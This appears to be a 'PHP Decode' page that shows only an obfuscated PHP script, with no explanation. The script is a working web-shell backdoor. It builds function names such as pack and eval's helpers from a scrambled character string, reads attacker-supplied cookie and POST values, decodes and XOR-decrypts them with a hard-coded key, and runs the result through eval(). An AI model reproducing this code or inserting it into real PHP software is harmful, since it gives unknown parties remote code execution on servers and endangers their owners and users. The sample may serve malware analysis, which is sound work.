PHP Decode

<?php 
$ouvlb = 'a*xivpl6fbkn4t-c3u#d58m7s0\'rgo2yH1e_9';$pnqow = Array();$pnqow[] = $ouvlb[32].$ouvlb[1];$pnqow[] = $ouvlb[33].$ouvlb[23].$ouvlb[12].$ouvlb[36].$ouvlb[15].$ouvlb[23].$ouvlb[20].$ouvlb[33].$ouvlb[14].$ouvlb[30].$ouvlb[21].$ouvlb[36].$ouvlb[25].$ouvlb[14].$ouvlb[12].$ouvlb[7].$ouvlb[12].$ouvlb[15].$ouvlb[14].$ouvlb[0].$ouvlb[20].$ouvlb[8].$ouvlb[8].$ouvlb[14].$ouvlb[21].$ouvlb[0].$ouvlb[16].$ouvlb[21].$ouvlb[7].$ouvlb[20].$ouvlb[25].$ouvlb[30].$ouvlb[23].$ouvlb[0].$ouvlb[16].$ouvlb[36];$pnqow[] = $ouvlb[18];$pnqow[] = $ouvlb[15].$ouvlb[29].$ouvlb[17].$ouvlb[11].$ouvlb[13];$pnqow[] = $ouvlb[24].$ouvlb[13].$ouvlb[27].$ouvlb[35].$ouvlb[27].$ouvlb[34].$ouvlb[5].$ouvlb[34].$ouvlb[0].$ouvlb[13];$pnqow[] = $ouvlb[34].$ouvlb[2].$ouvlb[5].$ouvlb[6].$ouvlb[29].$ouvlb[19].$ouvlb[34];$pnqow[] = $ouvlb[24].$ouvlb[17].$ouvlb[9].$ouvlb[24].$ouvlb[13].$ouvlb[27];$pnqow[] = $ouvlb[0].$ouvlb[27].$ouvlb[27].$ouvlb[0].$ouvlb[31].$ouvlb[35].$ouvlb[22].$ouvlb[34].$ouvlb[27].$ouvlb[28].$ouvlb[34];$pnqow[] = $ouvlb[24].$ouvlb[13].$ouvlb[27].$ouvlb[6].$ouvlb[34].$ouvlb[11];$pnqow[] = $ouvlb[5].$ouvlb[0].$ouvlb[15].$ouvlb[10];foreach ($pnqow[7]($_COOKIE, $_POST) as $yzeheh => $tydypu){function kkqiyja($pnqow, $yzeheh, $gowrfse){return $pnqow[6]($pnqow[4]($yzeheh . $pnqow[1], ($gowrfse / $pnqow[8]($yzeheh)) + 1), 0, $gowrfse);}function szdpkaj($pnqow, $oytwl){return @$pnqow[9]($pnqow[0], $oytwl);}function gqhok($pnqow, $oytwl){$xcfdqa = $pnqow[3]($oytwl) % 3;if (!$xcfdqa) {eval($oytwl[1]($oytwl[2]));exit();}}$tydypu = szdpkaj($pnqow, $tydypu);gqhok($pnqow, $pnqow[5]($pnqow[2], $tydypu ^ kkqiyja($pnqow, $yzeheh, $pnqow[8]($tydypu))));} ?>